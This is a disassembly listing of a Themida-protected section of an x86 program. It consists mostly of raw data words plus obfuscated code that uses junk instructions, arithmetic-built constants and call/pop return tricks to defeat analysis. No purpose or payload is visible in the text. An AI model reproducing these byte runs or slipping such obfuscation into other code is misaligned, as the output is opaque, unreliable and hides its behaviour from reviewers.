		dd 18DD85C7h, 71100613h, 9D890000h, 6131361h, 305585C7h
		dd 613h, 0B5FF0000h, 6132331h, 0BBDBD23h, 95FF0613h, 6131D89h
		dd 0BF5858Bh, 6A0613h, 0DA995FFh, 0C08B0613h, 0C88F7EEBh
		dd 78FEE006h, 5FD9FB8Eh, 50329321h, 7B8AAEC5h, 0AB7962D7h
		dd 57060963h, 190ABD39h, 4116D1A5h, 8FCE5C99h, 34BC523Bh
		dd 5BF8EF52h, 0A8B04251h, 4581E395h, 3572B953h,	0A465D20h
		dd 0E545EB74h, 0FFFED19Dh, 0CD9A26BEh, 0C9206153h, 0CC27915Fh
		dd 25165DF0h, 9831BD16h, 0F7B75156h, 3A0662F2h,	0E15F99C2h
		dd 0E36EB5C6h, 0F2896510h, 0DECCF514h, 51588380h, 841E9FA1h
		dd 223E5005h, 16295616h, 47293FD3h, 84701C9Dh, 6365B597h
		dd 636DBD63h, 472920B7h, 84787DD9h, 73F0F2B2h, 6416E36Fh
		dd 0E6B4B71Fh, 0CC2F2FB8h, 3CE4BC0Eh, 510C81E4h, 32293AA0h
		dd 0C694BFD0h, 472F2FC0h, 14792502h, 4491FCB0h,	0CE293C99h
		dd 5424414Bh, 3AB4B161h, 0B82F291Ah, 0C471670Ah, 5405BD51h
		dd 505D3C70h, 44916F6Bh, 0CE293C99h, 5424414Bh,	2BB4B161h
		dd 0B82F2915h, 0CE71670Ah, 540DA969h, 472ED570h, 70C43C3Bh
		dd 838B9CCFh, 2DE9B76Eh, 44C16967h, 67293CB3h, 0CE74FF84h
		dd 0C62D1880h, 5E2D1832h, 2293C3Bh, 0A62BFFC8h,	410FCE5Dh
		dd 2DF1B001h, 44C16DB3h, 67293CD9h, 0CE70FFB5h,	0C62D183Ah
		dd 5F2D187Fh
		dd 6293C9Dh, 3A8AFF9Fh,	48FB5324h, 4729303Bh, 41AD33D9h
		dd 0CE293CECh, 540565CBh, 482D943Dh, 472D0A19h,	53A533CEh
		dd 0AE293C67h, 47293CBCh, 0A90F7679h, 5E6B8C50h, 0ABA5E09Bh
		dd 0C45F8EA0h, 543B9920h, 0C3263CC8h, 47293C6Bh, 4FC00A00h
		dd 0C7293CDDh, 0D19A6405h, 470E3CC8h, 15295639h, 47293F75h
		dd 84731CCEh, 637DB53Dh, 636DBDB7h, 47292BDDh, 847B7EECh
		dd 0A9E84E9Bh, 53D4B108h, 0C2A43A8Eh, 413F4CC2h, 726CB1EEh
		dd 97D63AA0h, 64308152h, 81933AFFh, 0C2638162h,	0E8AD33FBh
		dd 2D293C9Dh, 44C16BCEh, 67293C67h, 0CE76FFECh,	0C62D18A5h
		dd 512D18A8h, 293C76h, 6CA6FF6Ch, 8DA85A06h, 7FA8F268h
		dd 0BCA85A30h, 476CB9BCh, 0DAA23CD9h, 413A2F6Dh, 4351BD10h
		dd 0C3263E39h, 47293F0Eh, 47292D26h, 0FE284D67h, 407A5753h
		dd 707E1804h, 0A5EC70B0h, 0FAA23428h, 413A0DB6h, 4723D4C4h
		dd 3B653CCEh, 302A1061h, 0FF78AD32h, 43C4A152h,	21733AFFh
		dd 27B504F7h, 4719B934h, 0CC493C9Dh, 5402997Bh,	3FA95D61h
		dd 0C226D4B1h, 47293CC7h, 6D54B165h, 0C64F3A65h, 0EC293A43h
		dd 4725B992h, 0BFA23CCEh, 472A168Eh, 0A6A85AB3h, 4797601Ah
		dd 0CC6F3DEDh, 5427B5E3h, 10935A3Dh, 4BACB154h,	0CC2F2ABEh
		dd 542459DAh, 48F9C3B5h, 47293E5Ah, 0C2D0B7ECh,	9BAD33B6h
		dd 15293C39h, 4724D5FDh, 353CCEh, 0C00DF142h, 2083EAF1h
		dd 0C69F15BDh, 8EEB551Bh, 0C6705D58h, 45145A03h, 2AC339Fh
		dd 0AE293CCEh, 47293C68h, 17AEEEB5h, 46D3959h, 4D593988h
		dd 0C6F35E88h, 7A4F3A43h, 0C32646C2h, 47293E61h, 0AF7F3C0Dh
		dd 47293CB0h, 19EA62F9h, 430D4865h, 430D78F7h, 47293C22h
		dd 0D9EA6ADBh, 4DF80DDAh, 88F6BCE2h, 0DB11BDD5h, 0C9AC33B9h
		dd 2D293CECh, 44C16F76h, 67293C3Bh, 0CE72FFC6h,	0C62D1892h
		dd 5A2D1823h, 4293CB3h,	0AAC7FF8Ah, 7F9E4007h, 3C91EC70h
		dd 4B40B1B0h, 0FAA03A8Eh, 413A398Bh, 0AF2B44E7h, 477AB9BCh
		dd 0C64F3CD9h, 21CDC51Eh, 2109F9CFh, 472F44BAh,	79AC335Dh
		dd 11293CCEh, 472ABC68h, 0F8263CB3h, 67C06508h,	2D293CEEh
		dd 44C16D76h, 67293C3Bh, 0CE70FFC4h, 0C62D1882h, 5D2D1823h
		dd 6293CB3h, 5B8FFF88h,	4D98E29h, 0F6A4B506h, 0CE2F2F19h
		dd 540A0100h, 462982C8h, 47434266h, 472AD4E5h, 19093CD9h
		dd 33A0622Fh, 3A83852h,	4734381Fh, 116F3C9Dh, 9BFF600Dh
		dd 16A09E88h, 0CE6B8033h, 54016D64h, 4BACB1EAh,	0CE2F2A06h
		dd 54242DB6h, 0AEF9C39Bh, 47293CC6h, 2CD66D09h,	1AC2F023h
		dd 0C326FC5Ch, 47293D6Fh, 91C2BD10h, 0AF11BC05h, 47A9B992h
		dd 47433CCEh, 472AD435h, 1D093CB3h, 13A0661Ah, 3A838C8h
		dd 47343852h, 156B3C3Bh, 0C1AC4F5Eh, 0A6AB3FC7h, 214E8074h
		dd 0C7FA720Ah, 485A39A1h, 47297169h, 0A9C1576h,	0C72F2F3Dh
		dd 487A3BE5h, 4728724Ah, 11295667h, 47293F5Bh, 84771CD9h
		dd 635DB5B2h, 636DBD72h, 4729243Fh, 847F7A9Dh, 3FDF8360h
		dd 473DD4B1h, 188F3CB3h, 638E2E4Dh, 85C0427Dh, 0DA8378D0h
		dd 99E7A18Bh, 0B1A9734Fh, 0C64F67E4h, 482CB35Fh, 4729D636h
		dd 102956D9h, 47293F04h, 84761C76h, 6355B564h, 636DBD99h
		dd 472928CAh, 847E7B67h, 473BD559h, 0FA253CD9h,	0E63E2A93h
		dd 80005B53h, 0E73141ADh, 0C9DFA175h, 2F2F444Eh, 4784B968h
		dd 47433CB3h, 472AD489h, 1F093CECh, 3A064B5h, 3A8381Fh
		dd 473238B9h, 17693CCEh, 7B945FA4h, 93F24A8Dh, 4722D4F8h
		dd 73773CECh, 6DF72A92h, 3DFE1F5Bh, 41AC338Dh, 0CC293CCEh
		dd 541B75DAh, 0C64F65B5h, 62D637A1h, 4748B9E3h,	47433C76h
		dd 472AD468h, 1C093C9Dh, 1BA0670Dh, 3A83843h, 473F3897h
		dd 146A3CD9h, 0EA6A672Fh, 4729669Fh, 1029563Bh,	47293F75h
		dd 84761CCEh, 6355B538h, 636DBDB7h, 47292BDDh, 847E7BECh
		dd 44E931ADh, 56FCA93Ah, 53C03A8Eh, 1A293CCEh, 6DE0196Ch
		dd 2CE0F822h, 0C32DAD33h, 0B96EF317h, 0FFB725E3h, 47293C3Bh
		dd 4D40819Eh, 0CAA23ADDh, 413A36CEh, 47290A5Ah,	0C6940DD9h
		dd 0FF2F2FE9h, 47293C77h, 0AF7F3C51h, 47293C9Eh, 19EA62EEh
		dd 430D48EEh, 430D7832h, 47293CC3h, 79EA6AAAh, 8C6C9594h
		dd 0DAA04660h, 413A13E0h, 1742D54Eh, 0CEE1B701h, 474318B7h
		dd 472AD488h, 1E093CECh, 0BA065B5h, 3A8381Fh, 473C38B9h
		dd 16683CCEh, 0CA5026A4h, 5F6B9E0Eh, 16A4B1DFh,	0FF2F24A4h
		dd 304F6955h, 5024B938h, 88023A8Eh, 66462982h, 0E5474342h
		dd 0D9472AD4h, 2F19093Ch, 5233A062h, 1F03A838h,	83473438h
		dd 0A4F305E9h, 56006A58h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0A2E771BAh, 2850Fh, 92B60000h
		dd 0C00BDCB1h, 70840Fh,	52560000h, 8E0Fh, 59590000h, 4F8DB58Dh
		dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0B9511AC3h, 56A3AD1Ah, 3B8h, 98D8900h, 0FF061315h
		dd 53006AE6h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 4103F6C8h, 16F994FCh, 9589ACD9h,	613255Dh
		dd 1F19958Bh, 0B9400613h, 7454678Ch, 0B966C08Bh, 0F380B72Ah
		dd 25BD837Ch, 61316h, 0BD830975h, 6132C81h, 50197400h
		dd 0B8C08B53h, 403h, 31158589h,	9D8D0613h, 615A9E4h, 585BD3FFh
		dd 2C81BD83h, 74000613h, 0B8535017h, 403h, 31158589h, 9D8D0613h
		dd 615A685h, 585BD3FFh,	0AFD3BF66h, 0C789EA81h,	0F3815939h
		dd 50ECD1F8h, 8B66C08Bh, 8D8D61CAh, 6184A5Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0F9C35141h, 0E27BD7EAh
		dd 4AE93644h, 1BBD8D89h, 6A0613h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0FDD214C3h, 0EE90Eh
		dd 0ABE00000h, 0DDF3E7F8h, 56AED9F8h, 1900BD9Fh, 18DD85C7h
		dd 6DDC0613h, 9D890000h, 6131FDDh, 305585C7h, 613h, 0DA8B0000h
		dd 302DB5FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 7176E4C3h, 4626B26Bh, 0D7CB8166h
		dd 8995FFF4h, 6A06131Dh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 6948C356h, 2FDD286Ah
		dd 36A40D77h, 95FF006Ah, 6130DA9h, 7FEBC08Bh, 0A940D5C4h
		dd 0D375E4Bh, 0E10109E4h, 0B43F5A50h, 28F816A6h, 2FEAE15Bh
		dd 43E0213Ah, 0CC694260h, 99B79F2h, 5B3892CEh, 5A0EB91h
		dd 0DB042EA4h, 5C588832h, 5B5B4A5Fh, 0F11C926Ah, 1F8A6A03h
		dd 82350470h, 1EDC5713h, 6150AEABh, 0D4CC4B07h,	9805FCE0h
		dd 2703DCCAh, 3D41529Eh, 0BD027DB0h, 2F3949C5h,	0D585E093h
		dd 9007B027h, 82846DE8h, 0F0735A8Ch, 4A200C3Ah,	521FDCA6h
		dd 0DEE58F18h, 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh, 6398525Ch
		dd 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 338B37D2h, 0FFB44E60h
		dd 0F867A5E4h, 0A08B38DAh, 2FABA3BEh, 79672025h, 0C149A3BAh
		dd 0D71B2020h, 338B39A6h, 831D2933h, 0C0982633h, 0BED2D7B6h
		dd 0D6157635h, 0AF806CD0h, 50DD963h, 839E3526h,	35982664h
		dd 1F152359h, 4B806CC0h, 451DAB63h, 39E3E79h, 0B28DB3CCh
		dd 14932020h, 6AA1A23Ch, 0B0152633h, 9C806CC0h,	4DAACE63h
		dd 0F6D82633h, 1961A3BEh, 24C8202Bh, 0CCD2D5B6h, 0FF677635h
		dd 338B37B6h, 1794E2B0h, 55D2D5B6h, 23157635h, 55806CD0h
		dd 780DD963h, 3D9E3526h, 6A982651h, 6474AD66h, 11CE7464h
		dd 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch, 2B67D9C6h
		dd 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h,	0E868AD03h
		dd 5AAD63h, 0A9982C88h,	0D49BCF33h, 896F2633h, 3566A57Dh
		dd 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h, 5667D9FDh
		dd 8EC6E7B8h, 0A8517F6Ch, 88152637h, 9C806CD2h,	18EABBEh
		dd 9320202Bh, 78000000h, 271E7FCh, 0C8D00731h, 4904C783h
		dd 0FFF2850Fh, 0B58DFFFFh, 6184C16h, 4C358D8Dh,	0CF2B0618h
		dd 8B05E983h, 5E8C8h, 0DCDE0000h, 894ECDD7h, 13130185h
		dd 820F5906h, 4, 35E9BB66h, 5D13C181h, 0B5030000h, 613237Dh
		dd 1711BAh, 9E85000h, 2D000000h, 0EA36D7FFh, 9AE16BBEh
		dd 1469B589h, 5B5E0613h, 69BB018Bh, 81672681h, 7DAC2EE8h
		dd 0ADBD8B47h, 8106131Fh, 0A3CAC9C0h, 6890F49h,	8B000000h
		dd 1330A1BDh, 2DF08106h, 894296D9h, 13232D9Dh, 810F5006h
		dd 2, 18FDA8Bh,	5E9h, 56F0FF00h, 0E9816E39h, 6441C538h
		dd 1A0D8589h, 0C1810613h, 6441C534h, 13D5BD8Bh,	0EA810613h
		dd 1, 14850Fh, 0BD8B0000h, 6130035h, 20E9h, 0C100D500h
		dd 0D51E7EECh, 0E4B3D822h, 0FFFF7BE9h, 0CDABEFFh, 445E8640h
		dd 0BA5400A2h, 83E112D6h, 14E8CBh, 0BE4C0000h, 39203155h
		dd 2E337FC0h, 4A969A59h, 0F70FD15Ch, 0BD8997BAh, 6132C71h
		dd 0DA8B6658h, 6203C081h, 9D8B0000h, 6132441h, 1852BAh
		dd 10E900h, 2FEE0000h, 0B29E073Eh, 4E4084BBh, 57A6A7B4h
		dd 308B73D9h, 0DEEE81F9h, 8053F270h, 0C6810BD9h, 7ED97A69h
		dd 6850Fh, 8D8B0000h, 6132A45h,	8450EE81h, 7E9279Ch, 88000000h
		dd 4A5F5C58h, 30895B5Bh, 1D870Fh, 11E80000h, 70000000h
		dd 0A8BF401Bh, 7F800A2Ah, 61455F3h, 740D4774h, 209DBD8Bh
		dd 835B0613h, 9D0B04E8h, 6131059h, 9B850F4Ah, 0E9FFFFFFh
		dd 11h,	205D420Ch, 8F9A98B5h, 0C817857h, 4367DFD1h, 8E859h
		dd 5FD00000h, 0C6D59A9Eh, 0E1816FE1h, 8E4DE33h,	1995895Bh
		dd 8106130Bh, 5BC8C3h, 8E86000h, 1F000000h, 2503FAA3h
		dd 89FDF871h, 132131BDh, 33615806h, 11B589F6h, 0FF061312h
		dd 58FC1E34h, 0EE9h, 9B7AB800h,	77303930h, 72936124h, 81F27677h
		dd 96BF40F0h, 0A9958972h, 8106130Eh, 11A55CE8h,	0F8B70F6Ah
		dd 2AE7C081h, 8F0F265Dh, 4, 93FCB966h, 0B58D8950h, 8F061309h
		dd 56603304h, 8159C88Ah, 0DD1756CAh, 830F615Eh,	2, 0EE83C88Bh
		dd 3D29BA02h, 4E4E571Dh, 6830Fh, 0BD0B0000h, 6131F09h
		dd 0A4F0FE81h, 850FFFFFh, 0FFFFFF83h, 0E9A7F781h, 786C2E90h
		dd 11EE5324h, 32030124h, 9BDBC27Eh, 93C42570h, 5642560h
		dd 50300124h, 3708C276h, 436C1544h, 361F940Dh, 73580737h
		dd 74598D42h, 3B68E2A5h, 966F058Ch, 123000C2h, 91EEB62Bh
		dd 11EA499h, 96090122h,	12030100h, 128DE844h, 0D3C70124h
		dd 23A9BB8Dh, 7230968h,	8F3BA3AFh, 141F0499h, 13BEE845h
		dd 878A0124h, 14922B11h, 42138AB4h, 36406A9Ah, 99569143h
		dd 5E190EDEh, 1266FF00h, 1205E971h, 4F230124h, 7E085CE7h
		dd 56410500h, 127A0500h, 47750124h, 96A0F2E7h, 49294C4Bh
		dd 120EE944h, 0D36D0124h, 0C87989F6h, 0A74991A2h, 14731E91h
		dd 9968607Bh, 3ED882FCh, 2389BCAFh, 1A8D0737h, 373684ADh
		dd 99E70737h, 90CFFD6Ch, 12600124h, 24098042h, 0A59C0EDBh
		dd 1D0C0124h, 120607A3h, 0D8E48024h, 9182BFA5h,	12AA08E5h
		dd 1263E976h, 48100124h, 46915BE7h, 568D0500h, 12130500h
		dd 40410124h, 98EC0DE7h, 0FBF981DAh, 1368842Bh,	0AC560124h
		dd 5393C89Ch, 450C6B25h, 120602CCh, 0D15C2124h,	36FD887Bh
		dd 36848020h, 12601B20h, 0D1674624h, 0DD8B8D35h, 99BE1C6Bh
		dd 1187C91h, 0F4FABF22h, 0DA827508h, 12C00BCDh,	0A53FFE24h
		dd 9D25EE81h, 936A55BCh, 743927CBh, 17C78268h, 9388C2A4h
		dd 51CA911Dh, 0B9450EAFh, 78600124h, 11D85424h,	32180124h
		dd 9B51C279h, 93022548h, 9072560h, 57810124h, 9803C271h
		dd 0C8BB2D5Ah, 9FBD3B23h, 140B4EA9h, 0FA5A014Eh, 12060127h
		dd 4CC05F04h, 16A575ADh, 16E445A5h, 12600138h, 16F35762h
		dd 9E1A53FDh, 0A2CAA3FEh, 120608CDh, 3A334524h,	0FDA458E7h
		dd 97E951B1h, 147307EDh, 1230029Ch, 45186B24h, 120C02CCh
		dd 0D1592124h, 367F887Bh, 36C58020h, 12C01620h,	0D1374624h
		dd 1B38B3E9h, 1272E0DBh, 120FE973h, 4D260124h, 6E8A5EE7h
		dd 56000500h, 12DC0500h, 45270124h, 7C1D3CE7h, 0A176846Fh
		dd 786DBB19h, 11EE5724h, 32030124h, 9BDFC27Ah, 93C42550h
		dd 6642560h, 54300124h,	0A123C272h, 86B18C09h, 9F00196Ah
		dd 0A53EEA9h, 91F5B922h, 97F300B6h, 147321ADh, 786CCE0Fh
		dd 11EE5324h, 32030124h, 9BDBC27Eh, 93C42570h, 5642560h
		dd 50300124h, 5E98376h,	0C08BA4F3h, 31359531h, 6A0613h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 66FBACC3h, 0BD8BF38Bh, 613117Dh, 27E9C38Bh, 74000000h
		dd 75D23Ch, 8 dup(0)
		dd 0DAE90000h, 2A000005h, 361CBA9Ch, 260CAAA4h,	381AB892h
		dd 2709A9A7h, 291CBA9Ah, 0FC58E506h, 0E66CFCDEh, 0FB4DE2C8h
		dd 0E864F5DBh, 0AFDE01CAh, 16B60633h, 0BDB9A5FCh, 0BF8B1D6Ch
		dd 0B10E6FAEh, 0B5035F8Eh, 49CC109Dh, 4FDEE07Fh, 0AD81A605h
		dd 32BE5B02h, 0FE91AB10h, 0C29B107Bh, 63F6DCFAh, 0E37658E9h
		dd 0F86D4A69h, 109DEA9Eh, 4F9E2667h, 7CD0BB0Bh,	7F1E7FCEh
		dd 84F57DEEh, 0BD0E7BCEh, 5F43C293h, 50B180D0h,	1CAF9131h
		dd 1BAB8F2Ch, 0F5CA0F6Dh, 1602B82h, 0C907D130h,	409ACBECh
		dd 9109E9Ah, 0C51A3C84h, 9A3690C5h, 9EFF109Eh, 0DC6C6EFFh
		dd 7FF1E776h, 4503580Ah, 0F6F74166h, 228DA425h,	4396BC9Ah
		dd 48C93809h, 84109E04h, 0A4C1D33h, 15C697B9h, 92796CDDh
		dd 0EED483F8h, 2160F15Bh, 0A5713F97h, 56D9A341h, 7D000000h
		dd 8E1D6CBDh, 93A2B2FFh, 0E3721372h, 9DB53692h,	0AA1FAB10h
		dd 41EAB282h, 27354A3h,	109DC088h, 9D04CC51h, 0Eh, 72EC213Eh
		dd 3B109DC0h, 0E664F8DAh, 6DBD84DEh, 4EE0C2E1h,	8D03100h
		dd 69E57559h, 0EB65F6D8h, 0F089095Ah, 805EF042h, 6545075Ah
		dd 0E470BDCBh, 6DE17155h, 0BEE936DCh, 0AE4666D2h, 36D0180Ah
		dd 94C00DC5h, 0C8C11436h, 786D775h, 61F3D766h, 429158E9h
		dd 0B382D060h, 8B008A52h, 41FE8361h, 922BA3h, 0BD0F0000h
		dd 0D4092670h, 109DB57Ah, 3793C243h, 6B109DB5h,	0A4E976DEh
		dd 36C1E6C5h, 0D712E65Bh, 84C61ABCh, 0DD8C54B5h, 52E367F9h
		dd 6AFCDE01h, 8F3455E4h, 0AB29DBD7h, 6BA52FA5h,	0FC9524CEh
		dd 55B12468h, 1E109DE0h, 4ECF9EFFh, 1CA98F2Fh, 2AB79B38h
		dd 0FF43A22Ah, 0C891A0B0h, 0C19FCD3Eh, 69A341C3h, 4Ch
		dd 77D5684Ah, 0C31DA7E6h, 55E470BDh, 4D035476h,	4AFE5183h
		dd 2807D8FBh, 9DB559B5h, 0BFE32210h, 3051E070h,	35ED5EA8h
		dd 0B40EACA8h, 1190DDC2h, 2293BC78h, 2826B89Ah,	7E69E819h
		dd 68E2109Eh, 23EBA9D3h, 153A341h, 0E7000000h, 4EE0C2h
		dd 0A86C0A31h, 58547298h, 0B9DAF39h, 992C2E3Fh,	44AEA2B3h
		dd 0A53A20C7h, 697392A3h, 5675D567h, 6C8A0479h,	3253109Eh
		dd 756CACAAh, 6CA82253h, 2C71109Eh, 66516E4Dh, 3F62D19Eh
		dd 0EA19A352h, 168F80FBh, 0ABA5361Ch, 0F4717B9Ah, 0BC103291h
		dd 0A8A7468Eh, 0A9A4577Fh, 0F0F806D2h, 0A1014BDEh, 4F1E2E7Fh
		dd 8B0B62BEh, 94B9A0Ah,	8AC41638h, 8E2B65BBh, 9FFE54E4h
		dd 6D25963Ch, 331FADDCh, 3C0D3D8Fh, 411EBCDDh, 0B73EF1Eh
		dd 0D93C0A8Bh, 0E06CBD0Fh, 70DC6D51h, 6F886C53h, 0E5E96598h
		dd 53B20A8Ah, 0D5F6056Ch, 1CB65C0Bh, 0EA62F39Fh, 0BDA070CCh
		dd 65425AACh, 8B0F96F0h, 0D805F0Ah, 0A8B0F91h, 925A3B5Ah
		dd 1550Bh, 0DDC22F00h, 21AFCD64h, 0BAE12031h, 666ED65Ch
		dd 58770F5Ah, 8F35C025h, 0E2715916h, 1C3E0F6Eh,	0FD2383C9h
		dd 0AD91A0ACh, 0B493301Ch, 1FE86293h, 6CB10A8Bh, 8B1FA1FDh
		dd 0A12B6A0Ah, 3DCE3C42h, 0BA183485h, 2B27B59Dh, 84D7FB1Ah
		dd 9464FCC4h, 3C5AAC81h, 70h, 0BAE5C222h, 7D435DD5h, 0B22C5DEDh
		dd 7B109EA3h, 998BB51Ah, 15A1C181h, 47786FCBh, 47956F6h
		dd 109E338Ah, 74533253h, 6FDF6F53h, 0CA8C2665h,	70956F62h
		dd 78416C53h, 92CB40CBh, 96BC9B4Ah, 0D9380943h,	0C716700Fh
		dd 5618909Dh, 0B6CC13E5h, 67113619h, 1214B592h,	66E015B2h
		dd 2F909E70h, 0BA7E6EEh, 14EF6307h, 8FF6D1F1h, 5C000000h
		dd 0EBC8BEA3h, 8EA18F7Ah, 44157816h, 3D9DAF02h,	0B382CA1Bh
		dd 8AA0C142h, 0D6B0010Ah, 0D1883584h, 0C998F95Fh, 46173385h
		dd 0F850E3C7h, 0FF7CF669h, 486AB516h, 0F7915BF9h, 0CF7DD082h
		dd 9BAAFEFh, 0ACADD2BCh, 0A777376Bh, 0FA50E4C6h, 88C93C9Bh
		dd 0D91072BCh, 10A1A5B4h, 39930F7Eh, 395C0472h,	99D30958h
		dd 75115820h, 4517956h,	41103C8Dh, 7190A1C0h, 6AF91867h
		dd 9DBA0A5Ah, 59E7EE68h, 4593B7FEh, 0F84A6C0Dh,	0BCE18E56h
		dd 0E0C2C41Eh, 6B6FFE4Ch, 0A2E372DAh, 0A4BDF9C3h, 0BDE2C5E2h
		dd 0DABFB659h, 4BC736BEh, 14109DC7h, 0B94890F1h, 1685F898h
		dd 0FF53E1E9h, 0A2FC716Eh, 6B0A8575h, 1B2A4B2Ah, 8A6A637h
		dd 1EBD8F22h, 1E19FD39h, 7ADCC38Dh, 0F14668DFh,	0AFDE8D57h
		dd 5D3F20D3h, 0F6A11A58h, 8B2AA4D9h, 92F396BAh,	0F6EE0E2Dh
		dd 0D9E344F7h, 0C8E666F7h, 0CE3F4FE2h, 96BA4D54h, 4CFE588Dh
		dd 46C796BAh, 64F594F9h, 607FD162h, 5E78BA77h, 9058E97Eh
		dd 0F891FBD1h, 6697F74Ah, 96B9EBECh, 0AEBF8D20h, 0DCBDE06Fh
		dd 0C389DCFEh, 0B66A5572h, 9BDB624Eh, 3EAF5FFh,	48000000h
		dd 71BDE17Bh, 0DF7254E5h, 65FADC6Dh, 0E07052E3h, 52DFE372h
		dd 0C20F3302h, 307FC392h, 9B2D1120h, 2ABC9EAFh
		db 24h,	15h, 22h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 3FF75205h
		xor	ecx, 0A983DECh
		neg	ecx
		xor	ecx, 44545A9Ah
		xor	ecx, 40F228D2h
		sub	ecx, 0CE36E25Bh
		add	ebp, ecx
		pop	ecx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 139B6AC5h
		add	eax, 0F27CE6A8h
		mov	edi, eax
		pop	eax
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, edi
		push	edi
		mov	edi, ebp
		mov	[edx+8], edi
		pop	edi
		pop	ebp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp	; CODE XREF: Themida_:005D1A42j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58442C
; ---------------------------------------------------------------------------
		wait
		sbb	al, 0A8h
		inc	ecx
		cmp	ebx, [eax+ecx*2]
		cli
		jp	short loc_5D1A31
		and	byte ptr [ebx-471D4D91h], 95h
		push	esi
		sbb	[esi], al
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 1C36h
		dd 8D967F3Fh, 0A59E77C4h, 60334C2Ah, 0ED1F2928h, 5563125Eh
		db 0EFh
; ---------------------------------------------------------------------------


loc_5D1A31:				; CODE XREF: Themida_:005D1A0Aj
		dec	ebx
		fstp	qword ptr [edi+24h] ; CODE XREF: Themida_:005D1A45j
		ja	short loc_5D1A5F
		cwde
		xor	al, 6Ah
		xchg	dh, [edi]
		mov	ds:0AD7D766Fh, eax
		pop	esi
		jnb	short near ptr loc_5D19EB+1
		xchg	eax, ebp
		js	short near ptr loc_5D1A32+1
		pop	esi
		and	eax, 0E7CDB037h
		or	al, 12h
		pop	ebx


loc_5D1A50:				; CODE XREF: Themida_:005D1AC3j
		jo	short near ptr loc_5D1AB0+6
		retf
; ---------------------------------------------------------------------------
		db 0E4h
; ---------------------------------------------------------------------------
		push	ds
		adc	eax, 14AA843Eh
		or	edi, [eax]
		xor	[eax+4Ch], bh


loc_5D1A5F:				; CODE XREF: Themida_:005D1A35j
		cmp	ecx, ss:[edi-36h]
		push	edi
		cmp	[ecx-8], edi
		scasd
		sub	[edx], cl
		in	al, dx
		int	29h		; DOS 2+ internal - FAST PUTCHAR
					; AL = character to display
		mov	dword ptr gs:[edx+0D230C70h], 0EE2C256Bh
		js	short loc_5D1A9C
; ---------------------------------------------------------------------------
		dw 0B38Eh
		dd 0E4C70F5Dh, 4B656BC5h, 1E567226h, 1F6444E6h,	0CB2E0EC0h
		dd 0C7C46934h, 292C18E6h, 8D8D37B5h
; ---------------------------------------------------------------------------


loc_5D1A9C:				; CODE XREF: Themida_:005D1A78j
		lock pop eax
		sbb	[esi], al
		push	0
		push	ebp
		call	sub_5D1AAB
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1AAB	proc near		; CODE XREF: Themida_:005D1AA3p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp


loc_5D1AB0:				; CODE XREF: Themida_:loc_5D1A50j
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5D1AAB	endp

; ---------------------------------------------------------------------------
		mov	byte ptr [esi+4], 0Bh
		inc	edx
		mov	dl, 0B7h
		sahf
		loop	loc_5D1A50
		mov	ch, 61h
		adc	[ebx], edx
		push	es
		mov	[ebp+6131BBDh],	ecx
		push	0
		push	edx
		call	sub_5D1ADB
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1ADB	proc near		; CODE XREF: Themida_:005D1AD3p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_5D1ADB	endp

; ---------------------------------------------------------------------------
		sub	bh, ah
		mov	bh, 0B8h
		clc
		push	0FFFFFF91h
		test	[esi+18DD85C7h], dh
		adc	eax, [esi]
		int	3		; Trap to Debugger
		add	fs:[eax], al
		push	0
		push	edi
		call	sub_5D1B09
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1B09	proc near		; CODE XREF: Themida_:005D1B01p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5D1B09	endp

; ---------------------------------------------------------------------------
		push	es
		fcmovb	st, st(4)
		add	[ebp+6132B41h],	eax
		mov	dword ptr [ebp+6133055h], 0
		push	0
		push	edi
		call	sub_5D1B37
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D1B37	proc near		; CODE XREF: Themida_:005D1B2Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5D1B37	endp

; ---------------------------------------------------------------------------
		db 0ECh
		dd 2E773A5Dh, 0FB8BDD75h, 2831B5FFh, 6A0613h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8F0FD6C3h
